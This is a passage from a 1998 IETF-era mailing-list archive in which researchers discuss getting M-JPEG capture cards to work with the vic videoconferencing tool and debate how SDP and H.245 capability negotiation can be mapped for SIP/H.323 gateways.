From: "Carlos Olguin" <ceo@andrew.cmu.edu>
To: <CONFCTRL@ISI.EDU>
Subject: JPEG and vic on PC's(windows or FreeBSD/Linux)
Date: Tue, 18 Aug 1998 23:00:43 -0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_011C_01BDCAFC.0726E200"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_011C_01BDCAFC.0726E200
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

We have been trying to make work vic under windows (95&NT) with our =
capture boards that support M-JPEG: Hauppauge WinMotion/60 and MiroVIDEO =
DC30plus. They both claim to provide an M-JPEG stream which is =
compatible with Video for Windows.=20
We have tried so far three versions of vic: LBL/UBC (version2.8), the =
UCL version(the "scrappy" website), and the MASH version. However, on =
neither of them  we have been able to have the JPEG button active.

We don't know if this is because of our boards or because of the =
software. Does anybody have any sugestions about what boards we should =
use instead or what we have to configure. We don't mind switching to =
FreeBSD or Linux as long as we can stream M-JPEG and not H.261 but we =
haven't found any driver for a M-JPEG  capture card on these platforms =
yet.
Any help is stronlgy appreciated...
Carlos

------=_NextPart_000_011C_01BDCAFC.0726E200
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>We have been trying to make work vic under windows =
(95&amp;NT)=20
with our capture boards that support M-JPEG: Hauppauge WinMotion/60 and=20
MiroVIDEO DC30plus. They both claim to provide an M-JPEG stream which is =

compatible with Video for Windows. </FONT></DIV>
<DIV><FONT size=3D2>We have tried so far three versions of vic: LBL/UBC=20
(version2.8), the UCL version(the &quot;scrappy&quot; website), and the =
MASH=20
version. However, on neither of them&nbsp; we have been able to have the =
JPEG=20
button active.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>We don't know if this is because of our boards or =
because of=20
the software. Does anybody have any sugestions about what boards we =
should use=20
instead or what we have to configure. We don't mind switching to FreeBSD =
or=20
Linux as long as we can stream M-JPEG and not H.261 but we haven't found =
any=20
driver for a M-JPEG&nbsp; capture card on these platforms =
yet.</FONT></DIV>
<DIV><FONT size=3D2>Any help is stronlgy appreciated...</FONT></DIV>
<DIV><FONT size=3D2>Carlos</FONT></DIV></BODY></HTML>

------=_NextPart_000_011C_01BDCAFC.0726E200--


From confctrl-owner  Wed Aug 19 03:10:58 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA17674
	for confctrl-outgoing; Wed, 19 Aug 1998 03:10:58 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA17669
	for <confctrl@zephyr.isi.edu>; Wed, 19 Aug 1998 03:10:56 -0700 (PDT)
Received: from boeygen.nr.no (boeygen.nr.no [156.116.2.2])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id DAA28966
	for <confctrl@ISI.EDU>; Wed, 19 Aug 1998 03:10:54 -0700 (PDT)
Received: from nr.no by boeygen.nr.no with SMTP (PP) id <03783-0@boeygen.nr.no>;
          Wed, 19 Aug 1998 12:09:49 +0200
Message-ID: <35DAA46B.8689B659@ifi.uio.no>
Date: Wed, 19 Aug 1998 12:09:47 +0200
From: Eirik Maus <eirikma@ifi.uio.no>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Multiple SDPs in INVITE necessary to support H.323 interop ?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi

I'm writing a little piece on possibilities for H.323 and SIP
interoperation. 
I would very much appreciate if anyone bothered to confirm the
statements about SIP / SDP below:

H.323 media capability negotioations consist of AlternativeCapabilitySet
structures listing a set of formats among which you are allowed to
choose one. This corresponds to the format list in the SDP m= ....<fmt
lst> field. 

The AlternativeCapSets are wrapped inside SimultaneousCapabilities
structures to express that a terminal is capable of simultaneously
render one of these {...} and one of these {...}. 
This is equal to have several m= <media> fields in the SDP capabilities
in SIP format negotioations.

In H.323 the capability negotioation packages "CapabilityDescriptor" may
consist of several SimultaneousCaps for you to choose among. The H.323
standard (v2) provides the following example of what you may express:


Either:
{
	Simultaneously:
	{
		One of: {G.711 or G.723.1 or G.728}
	And
		One of: {H.261 or H.263}
	And	
		One of: {H.261}
	}
Or
	Simultaneously:
	{
		One of: {H.262}
	And
		One of: {G.711}
	}
}


Statements:

a) 
You cannot express the equivalence of several simultaneous capability
sets in a single SDP message. You can merge all simultaneous capabilites
into one set by inserting a lot m=<media> fields. But this is an
incorrect translation. 

b)
The only way to preserve the intent is to have one SDP message for each
of the simultaneous capabilities. But there is no way of expressing that
you only are allowed to choose one of these. 
This is however a less bad solution than merging all SimCap sets or
omitting all but the first SimCap set. 

c)
You cannot create a 100% conformant gateway between SIP and H.323
without being able to translate media negotiations back and forth. The
only way to support full SIP - H.323 interoparation is to have end
systems being able to agree on setting up the call/session using one or
the other standard. Both/all end systems have to support both standards
to a certain extent (at least to be able to say "lets switch to the
other standard"). 

d)
There are two ways of dealing with this problem inside SIP. Neither may
work on systems not prepared for them. 

d-1) Embed several SDPs in the INVITE (or ACK, as H.323 negotiate media
after the equivalence of 200 OK is received). There is no expected
support for Content-Type multipart, and no header for defining the
border between the different parts. The SDP parser will have to discover
that the content consist of several SDP messages. SDP parsers that are
not prepared for several consecutive SDP messages in the same text will
think that the text contains a malformed SDP message and probably return
Error. 

d-2)
Create several SDP messages. Send several INVITE's in parallell each
with a different Call-Id and SDP message. This is a unelegant and stupid
solution, but it might work. This may result in several parallell
sessions between the two hosts, but that is a minor problem. Unless
bandwidth reservation is messed up. 



Please tell me H.323 and SIP interoperation is possible. 
BR


Eirik Maus
Norwegian Computing Center

From confctrl-owner  Wed Aug 19 08:10:49 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA24948
	for confctrl-outgoing; Wed, 19 Aug 1998 08:10:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA24943
	for <confctrl@zephyr.isi.edu>; Wed, 19 Aug 1998 08:10:48 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA16719
	for <confctrl@ISI.EDU>; Wed, 19 Aug 1998 08:10:46 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA01205; Wed, 19 Aug 1998 11:10:43 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Eirik Maus <eirikma@ifi.uio.no>
cc: confctrl@ISI.EDU
Subject: Re: Multiple SDPs in INVITE necessary to support H.323 interop ? 
In-reply-to: Your message of "Wed, 19 Aug 1998 12:09:47 +0200."
             <35DAA46B.8689B659@ifi.uio.no> 
Date: Wed, 19 Aug 1998 11:10:43 -0400
Message-ID: <1203.903539443@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>In H.323 the capability negotioation packages "CapabilityDescriptor" may
>consist of several SimultaneousCaps for you to choose among. The H.323
>standard (v2) provides the following example of what you may express:
>
>
>Either:
>{
>	Simultaneously:
>	{
>		One of: {G.711 or G.723.1 or G.728}
>	And
>		One of: {H.261 or H.263}
>	And	
>		One of: {H.261}
>	}
>Or
>	Simultaneously:
>	{
>		One of: {H.262}
>	And
>		One of: {G.711}
>	}
>}


I haven't spent a lot of time thinking about SIP/H.323 interaction,
but now that SIP is no longer a moving target, I think it would be
good to look at these issues, and possibly write an internet draft or
two on the issues.

One approach would be using SIP to do H.323 call initiation, (in place
of Q.931 and possibly H.245) but that isn't what you're asking about
here.

The other approach is SIP/H.323 gateways, which is the context in
which you raise this issue.  I should say I'm not an H.323 expert, so
please correct me if I've misunderstood H.323 mechanisms.

It doesn't seem that there is a problem with a SIP request being
gatewayed to an H.323 terminal.  The request passes through unchanged,
a capability set is returned from the H.323 terminal.  If the set of
media is the same and the set of formats can form a subset of those in
the request, then the gateway returns 200 OK, and informs the H.323
terminal of subset the gateway chose.

When the gateway is relaying an H.323 call to a SIP terminal, there is
(currently) insufficient expressiveness in SDP to express H.245
negotiation in one request as you say.  However, I assume the ordering
of the capabilities is in the caller's prefered order (or there's some
other information to decide this) otherwise an H.323 callee can't make
an informed decision.  If this is the case, the gateway simply chooses
the first of the alternative sets in the H.245 message, and puts that
in the SIP INVITE request.  Either the SIP terminal can participate,
and returns 200 OK, or it can't and returns 408 Unacceptable.  If it's
the latter, the gateway looks at the response, and if it can find a
common subset, it sends another INVITE request with a new SDP
description matching the best match from the other H.245 alternatives.
This is standard SIP negotiation - send a request, get it refused,
look at the response, and send a modified request.

Thus the gateway has to be active not passive (there's not a
one-to-one mapping of messages), but it seems like this should be
possible without changes to H.323, SIP or SDP.

Of course SIP can also carry other session description formats, but it
doesn't seem necessary in this case.

Cheers,
	Mark


From confctrl-owner  Wed Aug 19 08:51:19 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA26508
	for confctrl-outgoing; Wed, 19 Aug 1998 08:51:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26501
	for <confctrl@zephyr.isi.edu>; Wed, 19 Aug 1998 08:51:17 -0700 (PDT)
Received: from gumby.CS.Berkeley.EDU (gumby.CS.Berkeley.EDU [128.32.32.38])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA19238
	for <CONFCTRL@ISI.EDU>; Wed, 19 Aug 1998 08:51:13 -0700 (PDT)
Received: from quimby.cs.berkeley.edu (quimby.CS.Berkeley.EDU [128.32.131.169]) by gumby.CS.Berkeley.EDU (8.8.4/8.6.9) with ESMTP id IAA23017; Wed, 19 Aug 1998 08:51:05 -0700 (PDT)
Message-Id: <199808191551.IAA23017@gumby.CS.Berkeley.EDU>
X-Mailer: exmh version 1.6.9 8/22/96
To: "Carlos Olguin" <ceo@andrew.cmu.edu>, CONFCTRL@ISI.EDU
Subject: Re: JPEG and vic on PC's(windows or FreeBSD/Linux) 
Reply-To: Rowe@bmrc.berkeley.edu
In-reply-to: Your message of "Tue, 18 Aug 1998 23:00:43 EDT."
             <011f01bdcb1d$8e388200$baed0280@tiburona.ini.cmu.edu> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 19 Aug 1998 08:51:04 -0700
From: Larry Rowe <larry@bmrc.berkeley.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi -

vic doesn't support any hardware codecs.  you can get the mash code from 
mash.cs.berkeley.edu and add the support for the windows capture cards to it.  
if you do, please return your code so it can be incorporated into the mash 
distribution.
	Larry Rowe
-- 
Professor Lawrence A. Rowe               Internet:  Rowe@BMRC.Berkeley.EDU
Computer Science Division - EECS         Phone: 510-642-5117
University of California, Berkeley       Fax: 510-642-5615
Berkeley, CA 94720-1776		 URL: http://www.bmrc.berkeley.edu/~larry



From confctrl-owner  Wed Aug 19 09:35:19 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA28468
	for confctrl-outgoing; Wed, 19 Aug 1998 09:35:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA28459
	for <confctrl@zephyr.isi.edu>; Wed, 19 Aug 1998 09:35:17 -0700 (PDT)
Received: from smtpott1.nortel.ca (smtpott1.nortel.ca [192.58.194.78])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA24226
	for <confctrl@isi.edu>; Wed, 19 Aug 1998 09:35:15 -0700 (PDT)
Message-Id: <199808191635.JAA24226@tnt.isi.edu>
Received: from zcars00t by smtpott1; Wed, 19 Aug 1998 12:33:19 -0400
Received: from ca.nortel.com by zcars00t.ca.nortel.com 
          id <04416-0@zcars00t.ca.nortel.com>; Wed, 19 Aug 1998 12:30:21 -0400
Date: 19 Aug 1998 12:09 EDT
To: confctrl@ISI.EDU
From: "Vahe Balabanian" <balabani@nortel.ca>
Subject: MPEG-4 operation with RTSP
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear all,

This draft technical proposal describes how MPEG DMIF (Delivery 
Multimedia Integration Framework)  can be used with RTSP for setting 
MPEG-4 service sessions and subsequently detaching the service. DMIF 
creates an instance of DMIF RTSP augmented with QoS appropriate for 
each MPEG-4 stream and also makes use of the FlexMux to carry multiple 
streams on a single UDP or TCP IP flow. The stream control play/pause 
etc. using RTSP is executed directly by the MPEG-4 Systems Sync Layer. 

I unfortunately missed the deadline for the upload but
the file draft-ietf-mmusic-rtsp-mpeg4-dmif-00.txt
can be accessed with anonymous from ftp at 
192.58.194.75/pub/vahe or at
ftp.playground.net/pub/vahe

I will be at the Chicago meeting and will participate
Wednesday 13:00-15:00 in the MMUSIC session in 
Sheraton 5 for those who wish to discuss their
comments with me.

Thanks you,

Vahe Balabanian
balabani@nortel.ca
Phone: (613) 763-4721

From confctrl-owner  Wed Aug 19 09:58:50 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA29743
	for confctrl-outgoing; Wed, 19 Aug 1998 09:58:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA29738
	for <confctrl@zephyr.isi.edu>; Wed, 19 Aug 1998 09:58:49 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA26996
	for <confctrl@ISI.EDU>; Wed, 19 Aug 1998 09:58:47 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA14506;
	Wed, 19 Aug 1998 12:58:45 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1])
	by erlang.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA21431;
	Wed, 19 Aug 1998 12:58:44 -0400 (EDT)
Message-ID: <35DB0443.5E273E0@cs.columbia.edu>
Date: Wed, 19 Aug 1998 12:58:43 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5b1 [en] (X11; I; SunOS 5.5.1 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Eirik Maus <eirikma@ifi.uio.no>
CC: confctrl@ISI.EDU
Subject: Re: Multiple SDPs in INVITE necessary to support H.323 interop ?
References: <35DAA46B.8689B659@ifi.uio.no>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eirik Maus wrote:
> 
> Hi
> 
> I'm writing a little piece on possibilities for H.323 and SIP
> interoperation.
> I would very much appreciate if anyone bothered to confirm the
> statements about SIP / SDP below:

The issues you identify are primarily SDP issues, not really SIP issues.

We have not currently identified MIME multipart messages for SIP, but
PINT is proposing to use these already, so that may be an easy
alternative.

Given that most existing H.323 systems are not using the H.245
capabilities (as far as I know) beyond a single list, it might be
sufficient to put this item on the list of extensions for the next
(draft-standard) version of SIP.

Obviously, there's also been the suggestion (by Philip Hoschka) of
extending SMIL for this purpose. It has a somewhat richer set of ways of
expressing conjuctions and disjunctions of capabilities.

Your 'd-2' suggestion can be done in sequence, assuming that the list of
alternatives is not likely to be large.

From confctrl-owner  Wed Aug 19 10:10:18 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA00435
	for confctrl-outgoing; Wed, 19 Aug 1998 10:10:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA00429
	for <confctrl@zephyr.isi.edu>; Wed, 19 Aug 1998 10:10:17 -0700 (PDT)
Received: from nit.novedia.de (nit.cs.tu-berlin.de [130.149.16.233])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA29697
	for <confctrl@ISI.EDU>; Wed, 19 Aug 1998 10:10:06 -0700 (PDT)
Received: from dog.novedia.de (chris@dog.novedia.de [192.168.42.17])
	by nit.novedia.de (8.8.8/8.8.8) with ESMTP id TAA16626
	for <confctrl@ISI.EDU>; Wed, 19 Aug 1998 19:09:31 +0200
Received: (from chris@localhost)
	by dog.novedia.de (8.8.8/8.8.8) id TAA02405;
	Wed, 19 Aug 1998 19:09:28 +0200
Message-ID: <19980819190926.47002@novedia.de>
Date: Wed, 19 Aug 1998 19:09:26 +0200
From: Christoph Reichert <chris@novedia.de>
To: confctrl@ISI.EDU
Subject: Re: Multiple SDPs in INVITE necessary to support H.323 interop ?
Reply-To: aquarius@cs.tu-berlin.de
References: <35DAA46B.8689B659@ifi.uio.no> <1203.903539443@north.lcs.mit.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.89.1
In-Reply-To: <1203.903539443@north.lcs.mit.edu>; from Mark Handley on Wed, Aug 19, 1998 at 11:10:43AM -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Wed, Aug 19, 1998 at 11:10:43AM -0400, Mark Handley wrote:
> 
> It doesn't seem that there is a problem with a SIP request being
> gatewayed to an H.323 terminal.  The request passes through unchanged,
> a capability set is returned from the H.323 terminal.  If the set of
> media is the same and the set of formats can form a subset of those in
> the request, then the gateway returns 200 OK, and informs the H.323
> terminal of subset the gateway chose.
> 
> When the gateway is relaying an H.323 call to a SIP terminal, there is
> (currently) insufficient expressiveness in SDP to express H.245
> negotiation in one request as you say.  However, I assume the ordering
> of the capabilities is in the caller's prefered order (or there's some
> other information to decide this) otherwise an H.323 callee can't make
> an informed decision.  If this is the case, the gateway simply chooses
> the first of the alternative sets in the H.245 message, and puts that
> in the SIP INVITE request.  Either the SIP terminal can participate,
> and returns 200 OK, or it can't and returns 408 Unacceptable.  If it's
> the latter, the gateway looks at the response, and if it can find a
> common subset, it sends another INVITE request with a new SDP
> description matching the best match from the other H.245 alternatives.
> This is standard SIP negotiation - send a request, get it refused,
> look at the response, and send a modified request.

And this will take its time.
H.323 has been reworked (H.323v2) this year, with the following in mind:

1. Open a TCP connection
2. Do Q.931 signalling 
3. Do H.245 Master-slave-negotiation
4. Do H.245 Capability exchange
5. Open the logical channels (i.e. start the applications)

This results in many handshakes, and it will take a while until you see
or hear your partner.  So, one improvement in H.323v2 was that most of
the various PDUs are gathered and transmitted in one "jumbo paket".

Generally, I think it would be better to use a kind of multicast capable
session control protocol (SCP???), announce it as a normal application
in the SDP-record, and let it do the job after the invitee has joined
the session.  This also makes it possible to renegotiate the capabilities,
for example, when another member joins the session.

Every member should announce its capabilities, and every member should
intersect these capability sets of all other members. The common subset
can be used for interoperable communication. If the subset is empty, you
loose.  Renegotiation can be done easily and fully distributed: Multicast
the new capability set, and everybody recomputes the subset. This takes
only one message.

Also, one of these capabilities should be a (sub)set of the available
port numbers on a member's host. I tried to setup a session via sdr,
and vic could not be lauched on the other host, because the port number
was already in use.  I don't talk about sessions in the order like
IETF-Meetings, I talk about just TWO members :-)

cheers, chris

From confctrl-owner  Wed Aug 19 11:19:11 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA03954
	for confctrl-outgoing; Wed, 19 Aug 1998 11:19:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA03948
	for <confctrl@zephyr.isi.edu>; Wed, 19 Aug 1998 11:19:09 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA11571
	for <confctrl@isi.edu>; Wed, 19 Aug 1998 11:19:07 -0700 (PDT)
Received: from seawind.bellcore.com (seawind [192.4.18.101])
	by thumper.bellcore.com (8.9.1a/8.9.1) with ESMTP id OAA07821;
	Wed, 19 Aug 1998 14:18:35 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id OAA07205;
	Wed, 19 Aug 1998 14:18:34 -0400 (EDT)
Date: Wed, 19 Aug 1998 14:18:34 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980819141833.ZM7203@seawind.bellcore.com>
In-Reply-To: Christoph Reichert <chris@novedia.de>
        "Re: Multiple SDPs in INVITE necessary to support H.323 interop ?" (Aug 19,  7:09pm)
References: <35DAA46B.8689B659@ifi.uio.no>  <1203.903539443@north.lcs.mit.edu> 
	<19980819190926.47002@novedia.de>
X-Mailer: Z-Mail (5.0.0 30July97)
To: aquarius@cs.tu-berlin.de, confctrl@ISI.EDU
Subject: Re: Multiple SDPs in INVITE necessary to support H.323 interop ?
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

As Henning points out, this is really a question about matching SDP and
H.245, not so much SIP and H.323.  I studied the SDP/H.245 matching as
part of the analysis of SGCP; you can find the result in:
	http://sgcp.bellcore.com/SGCPf323.html
Note that this study assumes that the H.323 "fast start" procedure is
used. In one direction, the SDP announcement is translated in a list of
openLogicalChannel proposals, assuming that the encodings on the "m=" line
are listed by order of preference.  In the other direction, the same is
done with the first proposition.

If the fast start fails, one has indeed to fall back to the full H.245
exchange.

-- 
Christian Huitema

From confctrl-owner  Wed Aug 19 12:32:17 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA07821
	for confctrl-outgoing; Wed, 19 Aug 1998 12:32:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA07816
	for <confctrl@zephyr.isi.edu>; Wed, 19 Aug 1998 12:32:14 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA22182
	for <confctrl@ISI.EDU>; Wed, 19 Aug 1998 12:32:09 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Wed Aug 19 15:31:00 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id PAA11294;
	Wed, 19 Aug 1998 15:31:17 -0400 (EDT)
Message-ID: <35DB2787.ABF89854@dnrc.bell-labs.com>
Date: Wed, 19 Aug 1998 15:29:11 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: aquarius@cs.tu-berlin.de
CC: confctrl@ISI.EDU
Subject: Re: Multiple SDPs in INVITE necessary to support H.323 interop ?
References: <35DAA46B.8689B659@ifi.uio.no> <1203.903539443@north.lcs.mit.edu> <19980819190926.47002@novedia.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christoph Reichert wrote:
> 
> Generally, I think it would be better to use a kind of multicast capable
> session control protocol (SCP???), announce it as a normal application
> in the SDP-record, and let it do the job after the invitee has joined
> the session.  This also makes it possible to renegotiate the capabilities,
> for example, when another member joins the session.

Hmm. This sort of sounds like the original H.323v1 approach of first
doing the signaling, and then the capabilities exchange later via a
separate protocol. As you mention, this costs round trip times, which is
why Fast Start has been proposed for v2. Why go back to it? 

> 
> Every member should announce its capabilities, and every member should
> intersect these capability sets of all other members. The common subset
> can be used for interoperable communication. If the subset is empty, you
> loose.  Renegotiation can be done easily and fully distributed: Multicast
> the new capability set, and everybody recomputes the subset. This takes
> only one message.

This is not quite so easy. It requires reliable multicast in general,
and as the conference state is not explicitly transmitted, late joining
members don't see the full spectrum of capabilities, and thus won't
compute the same intersection. 

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Aug 19 13:33:52 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA10154
	for confctrl-outgoing; Wed, 19 Aug 1998 13:33:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA10149
	for <confctrl@zephyr.isi.edu>; Wed, 19 Aug 1998 13:33:50 -0700 (PDT)
Received: from nit.novedia.de (nit.cs.tu-berlin.de [130.149.16.233])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA28730
	for <confctrl@isi.edu>; Wed, 19 Aug 1998 13:33:46 -0700 (PDT)
Received: from dog.novedia.de (chris@dog.novedia.de [192.168.42.17])
	by nit.novedia.de (8.8.8/8.8.8) with ESMTP id WAA17166;
	Wed, 19 Aug 1998 22:33:14 +0200
Received: (from chris@localhost)
	by dog.novedia.de (8.8.8/8.8.8) id WAA02548;
	Wed, 19 Aug 1998 22:33:11 +0200
Message-ID: <19980819223310.50183@novedia.de>
Date: Wed, 19 Aug 1998 22:33:10 +0200
From: Christoph Reichert <chris@novedia.de>
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Cc: confctrl@ISI.EDU
Subject: Re: Multiple SDPs in INVITE necessary to support H.323 interop ?
References: <35DAA46B.8689B659@ifi.uio.no> <1203.903539443@north.lcs.mit.edu> <19980819190926.47002@novedia.de> <35DB2787.ABF89854@dnrc.bell-labs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.89.1
In-Reply-To: <35DB2787.ABF89854@dnrc.bell-labs.com>; from Jonathan Rosenberg on Wed, Aug 19, 1998 at 03:29:11PM -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Wed, Aug 19, 1998 at 03:29:11PM -0400, Jonathan Rosenberg wrote:
> Christoph Reichert wrote:
> > 
> > Generally, I think it would be better to use a kind of multicast capable
> > session control protocol (SCP???), announce it as a normal application
> > in the SDP-record, and let it do the job after the invitee has joined
> > the session.  This also makes it possible to renegotiate the capabilities,
> > for example, when another member joins the session.
> 
> Hmm. This sort of sounds like the original H.323v1 approach of first
> doing the signaling, and then the capabilities exchange later via a
> separate protocol. As you mention, this costs round trip times, which is
> why Fast Start has been proposed for v2. Why go back to it? 

As you should  do authentication/key exchange etc befor you can decrypt the
the capablity sets.

> > Every member should announce its capabilities, and every member should
> > intersect these capability sets of all other members. The common subset
> > can be used for interoperable communication. If the subset is empty, you
> > loose.  Renegotiation can be done easily and fully distributed: Multicast
> > the new capability set, and everybody recomputes the subset. This takes
> > only one message.
> 
> This is not quite so easy. It requires reliable multicast in general,

Yes, it requires reliable multicast of the same way as the wb-tool 
requires it, i.e. normally small packets with potential large intervalls.
SRM could be used to carry SCP messages.

> and as the conference state is not explicitly transmitted, late joining
> members don't see the full spectrum of capabilities, and thus won't
> compute the same intersection. 

This is another reason for first joining the session.
Since every member got all other capability sets, one of these members
can send him the session state including the capsets. On the other side,
the new member announces its capset.

Yes, there are probably to much capsets to hold by each member :-(

cheers, chris

From confctrl-owner  Wed Aug 19 14:39:36 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA12605
	for confctrl-outgoing; Wed, 19 Aug 1998 14:39:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA12600
	for <confctrl@zephyr.isi.edu>; Wed, 19 Aug 1998 14:39:33 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA07028
	for <confctrl@isi.edu>; Wed, 19 Aug 1998 14:39:31 -0700 (PDT)
Received: from seawind.bellcore.com (seawind [192.4.18.101])
	by thumper.bellcore.com (8.9.1a/8.9.1) with ESMTP id RAA18996;
	Wed, 19 Aug 1998 17:39:00 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id RAA07275;
